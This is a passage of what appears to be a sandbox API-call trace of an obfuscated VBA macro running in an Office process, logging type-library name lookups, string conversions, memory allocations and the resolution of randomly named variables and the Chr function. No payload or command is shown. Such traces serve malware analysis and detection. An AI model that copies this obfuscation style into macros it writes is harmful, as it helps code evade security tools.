lpWideCharStr="oiSwqahwFh") returned 10 [0018.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b2a, cbMultiByte=10, lpWideCharStr=0xce90eb4, cchWideChar=22 | out: lpWideCharStr="vUfHGVtoSr") returned 10 [0018.739] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abe650 [0018.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b3e, cbMultiByte=10, lpWideCharStr=0xce9105e, cchWideChar=22 | out: lpWideCharStr="mUoujFWSEh") returned 10 [0018.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b52, cbMultiByte=10, lpWideCharStr=0xce91208, cchWideChar=22 | out: lpWideCharStr="zKfVDSGJOh") returned 10 [0018.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b66, cbMultiByte=10, lpWideCharStr=0xce913b2, cchWideChar=22 | out: lpWideCharStr="zAYkmAwXZw") returned 10 [0018.740] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mwhlD") returned 0x104b29 [0018.740] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="mwhlD" | out: _Dst="mwhlD") returned 0x0 [0018.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="mwhlD") returned 6 [0018.740] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.740] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="mwhlD", lHashVal=0x104b29, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.740] IUnknown:Release (This=0x7919520) returned 0xd [0018.740] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.740] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="mwhlD", lHashVal=0x104b29, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.740] IUnknown:Release (This=0x7346470) returned 0xb [0018.740] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.740] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="mwhlD", lHashVal=0x104b29, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.740] IUnknown:Release (This=0x7345930) returned 0x7 [0018.740] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.740] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="mwhlD", lHashVal=0x104b29, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.740] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.741] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_mwhlD") returned 0x100f16 [0018.741] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_mwhlD" | out: _Dst="_B_var_mwhlD") returned 0x0 [0018.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_mwhlD") returned 13 [0018.741] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.741] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_mwhlD", lHashVal=0x100f16, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.741] IUnknown:Release (This=0x7919520) returned 0xd [0018.741] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.741] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_mwhlD", lHashVal=0x100f16, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.741] IUnknown:Release (This=0x7346470) returned 0xb [0018.741] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.741] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_mwhlD", lHashVal=0x100f16, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.741] IUnknown:Release (This=0x7345930) returned 0x7 [0018.741] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.741] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_mwhlD", lHashVal=0x100f16, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.741] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.741] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.741] IUnknown:Release (This=0x7919520) returned 0xd [0018.741] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b84, cbMultiByte=29, lpWideCharStr=0xce93824, cchWideChar=60 | out: lpWideCharStr="ud7so]36) ) ').repLOGaDN0jC1j") returned 29 [0018.741] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.741] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.741] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.741] IUnknown:Release (This=0x7919520) returned 0xd [0018.741] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.741] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcea0000 [0018.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DAaLUHVmFv") returned 0x101f0f [0018.742] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="DAaLUHVmFv" | out: _Dst="DAaLUHVmFv") returned 0x0 [0018.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="DAaLUHVmFv") returned 11 [0018.742] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.742] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="DAaLUHVmFv", lHashVal=0x101f0f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.742] IUnknown:Release (This=0x7919520) returned 0xd [0018.742] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.742] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="DAaLUHVmFv", lHashVal=0x101f0f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.742] IUnknown:Release (This=0x7346470) returned 0xb [0018.742] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.742] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="DAaLUHVmFv", lHashVal=0x101f0f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.742] IUnknown:Release (This=0x7345930) returned 0x7 [0018.742] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.742] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="DAaLUHVmFv", lHashVal=0x101f0f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.742] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.742] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.742] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_DAaLUHVmFv") returned 0x108d79 [0018.742] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_DAaLUHVmFv" | out: _Dst="_B_var_DAaLUHVmFv") returned 0x0 [0018.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_DAaLUHVmFv") returned 18 [0018.742] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.742] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_DAaLUHVmFv", lHashVal=0x108d79, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.743] IUnknown:Release (This=0x7919520) returned 0xd [0018.743] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.743] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_DAaLUHVmFv", lHashVal=0x108d79, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.743] IUnknown:Release (This=0x7346470) returned 0xb [0018.743] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.743] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_DAaLUHVmFv", lHashVal=0x108d79, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.743] IUnknown:Release (This=0x7345930) returned 0x7 [0018.743] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.743] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_DAaLUHVmFv", lHashVal=0x108d79, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.743] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.743] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.743] IUnknown:Release (This=0x7919520) returned 0xd [0018.743] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63bbc, cbMultiByte=10, lpWideCharStr=0xcea058c, cchWideChar=22 | out: lpWideCharStr="hToOwIUCHo") returned 10 [0018.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63bd6, cbMultiByte=10, lpWideCharStr=0xcea09d6, cchWideChar=22 | out: lpWideCharStr="TdjcwPFXKh") returned 10 [0018.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63bea, cbMultiByte=10, lpWideCharStr=0xcea0b80, cchWideChar=22 | out: lpWideCharStr="wudsQWfnjq") returned 10 [0018.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63bfe, cbMultiByte=10, lpWideCharStr=0xcea0d2a, cchWideChar=22 | out: lpWideCharStr="kmlWdqUFik") returned 10 [0018.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c12, cbMultiByte=10, lpWideCharStr=0xcea0ed4, cchWideChar=22 | out: lpWideCharStr="LPwWPNndoN") returned 10 [0018.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c26, cbMultiByte=10, lpWideCharStr=0xcea107e, cchWideChar=22 | out: lpWideCharStr="iOBOrmpvwZ") returned 10 [0018.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c3a, cbMultiByte=10, lpWideCharStr=0xcea1228, cchWideChar=22 | out: lpWideCharStr="cjTRDhsJwH") returned 10 [0018.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c4e, cbMultiByte=10, lpWideCharStr=0xcea13d2, cchWideChar=22 | out: lpWideCharStr="uAsaWiwHdC") returned 10 [0018.744] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb539e0 [0018.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SQmvq") returned 0x10f6a1 [0018.745] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="SQmvq" | out: _Dst="SQmvq") returned 0x0 [0018.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="SQmvq") returned 6 [0018.745] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.745] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SQmvq", lHashVal=0x10f6a1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.745] IUnknown:Release (This=0x7919520) returned 0xd [0018.745] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.745] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SQmvq", lHashVal=0x10f6a1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.745] IUnknown:Release (This=0x7346470) returned 0xb [0018.745] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.745] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SQmvq", lHashVal=0x10f6a1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.745] IUnknown:Release (This=0x7345930) returned 0x7 [0018.745] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.745] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SQmvq", lHashVal=0x10f6a1, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.745] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.745] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.745] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_SQmvq") returned 0x10ba8e [0018.745] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_SQmvq" | out: _Dst="_B_var_SQmvq") returned 0x0 [0018.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_SQmvq") returned 13 [0018.745] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.745] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SQmvq", lHashVal=0x10ba8e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.745] IUnknown:Release (This=0x7919520) returned 0xd [0018.745] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.745] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SQmvq", lHashVal=0x10ba8e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.745] IUnknown:Release (This=0x7346470) returned 0xb [0018.745] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.745] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SQmvq", lHashVal=0x10ba8e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.745] IUnknown:Release (This=0x7345930) returned 0x7 [0018.745] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.745] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SQmvq", lHashVal=0x10ba8e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.745] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.745] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.745] IUnknown:Release (This=0x7919520) returned 0xd [0018.745] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c6c, cbMultiByte=10, lpWideCharStr=0xcea3844, cchWideChar=22 | out: lpWideCharStr="khHAXTuXPk") returned 10 [0018.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c86, cbMultiByte=10, lpWideCharStr=0xcea3c8e, cchWideChar=22 | out: lpWideCharStr="DPsXhkpJEo") returned 10 [0018.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63c9a, cbMultiByte=10, lpWideCharStr=0xcea3e38, cchWideChar=22 | out: lpWideCharStr="OkZltlvDIj") returned 10 [0018.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63cae, cbMultiByte=10, lpWideCharStr=0xcea3fe2, cchWideChar=22 | out: lpWideCharStr="GwsHzSCiwj") returned 10 [0018.757] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xceb0000 [0018.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63cc2, cbMultiByte=10, lpWideCharStr=0xceb0194, cchWideChar=22 | out: lpWideCharStr="YjuddiHBCB") returned 10 [0018.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63cd6, cbMultiByte=10, lpWideCharStr=0xceb033e, cchWideChar=22 | out: lpWideCharStr="LpTlizHWHl") returned 10 [0018.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63cea, cbMultiByte=10, lpWideCharStr=0xceb04e8, cchWideChar=22 | out: lpWideCharStr="YqPjiFWlZP") returned 10 [0018.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63cfe, cbMultiByte=10, lpWideCharStr=0xceb0692, cchWideChar=22 | out: lpWideCharStr="hLKVQfpvIL") returned 10 [0018.759] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OMmOLbkKKds") returned 0x10c7b4 [0018.759] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="OMmOLbkKKds" | out: _Dst="OMmOLbkKKds") returned 0x0 [0018.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="OMmOLbkKKds") returned 12 [0018.759] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.759] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="OMmOLbkKKds", lHashVal=0x10c7b4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.759] IUnknown:Release (This=0x7919520) returned 0xd [0018.759] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.759] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="OMmOLbkKKds", lHashVal=0x10c7b4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.759] IUnknown:Release (This=0x7346470) returned 0xb [0018.759] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.759] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="OMmOLbkKKds", lHashVal=0x10c7b4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.759] IUnknown:Release (This=0x7345930) returned 0x7 [0018.759] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.759] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="OMmOLbkKKds", lHashVal=0x10c7b4, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.759] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.759] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.759] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_OMmOLbkKKds") returned 0x10b916 [0018.759] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_OMmOLbkKKds" | out: _Dst="_B_var_OMmOLbkKKds") returned 0x0 [0018.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_OMmOLbkKKds") returned 19 [0018.759] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.759] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_OMmOLbkKKds", lHashVal=0x10b916, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.759] IUnknown:Release (This=0x7919520) returned 0xd [0018.759] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.759] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_OMmOLbkKKds", lHashVal=0x10b916, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.759] IUnknown:Release (This=0x7346470) returned 0xb [0018.759] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.759] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_OMmOLbkKKds", lHashVal=0x10b916, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.759] IUnknown:Release (This=0x7345930) returned 0x7 [0018.759] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.760] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_OMmOLbkKKds", lHashVal=0x10b916, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.760] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.760] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.760] IUnknown:Release (This=0x7919520) returned 0xd [0018.760] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="045bf1acda", cchWideChar=11, lpMultiByteStr=0x304e30, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="045bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.760] GetLocalTime (in: lpSystemTime=0x304f18 | out: lpSystemTime=0x304f18*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x3, wMilliseconds=0x35)) [0018.760] _ultow_s (in: _Value=0x5bf1acdb, _Buffer=0x7ac9054, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acdb") returned 0x0 [0018.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="095bf1acdb", cchWideChar=11, lpMultiByteStr=0x304e70, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="095bf1acdb", lpUsedDefaultChar=0x0) returned 11 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7957c40 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a108a0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10a20 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb53c30 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb53e80 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb540d0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x810) returned 0x5344fe0 [0018.760] IMalloc:Free (This=0x7fefe9e5380, pv=0x5344fe0) [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7970d60 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7971ac0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7972020 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796de40 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x48) returned 0x79aeac0 [0018.760] strcpy_s (in: _Dst=0xbb53b70, _DstSize=0xa, _Src="EUHUHUCzL" | out: _Dst="EUHUHUCzL") returned 0x0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.760] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x7972040 [0018.760] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972040) [0018.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035bf1acda", cchWideChar=11, lpMultiByteStr=0x304e30, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.760] GetLocalTime (in: lpSystemTime=0x304f18 | out: lpSystemTime=0x304f18*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x3, wMilliseconds=0x35)) [0018.760] _ultow_s (in: _Value=0x5bf1acdb, _Buffer=0x7ac900c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acdb") returned 0x0 [0018.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0:5bf1acdb", cchWideChar=11, lpMultiByteStr=0x304e70, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0:5bf1acdb", lpUsedDefaultChar=0x0) returned 11 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959fb0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10ae0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10ba0 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb54320 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb54570 [0018.760] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb547c0 [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x810) returned 0x5344fe0 [0018.761] IMalloc:Free (This=0x7fefe9e5380, pv=0x5344fe0) [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7972060 [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7972080 [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x79720a0 [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x79720c0 [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x48) returned 0x79aeb60 [0018.761] strcpy_s (in: _Dst=0xbb53b88, _DstSize=0xa, _Src="qHXPhnQPQ" | out: _Dst="qHXPhnQPQ") returned 0x0 [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.761] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x79720e0 [0018.761] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0018.761] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x4, _Src="Chr" | out: _Dst="Chr") returned 0x0 [0018.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=4, lpWideCharStr=0x305010, cchWideChar=4 | out: lpWideCharStr="Chr") returned 4 [0018.761] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.761] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="Chr", lHashVal=0x107e4b, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=1, pBstrLibName=0x305010) returned 0x0 [0018.761] IUnknown:Release (This=0x7919520) returned 0xd [0018.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Chr", cchWideChar=-1, lpMultiByteStr=0x3051c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chr", lpUsedDefaultChar=0x0) returned 4 [0018.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0018.761] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x79720e0 [0018.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c 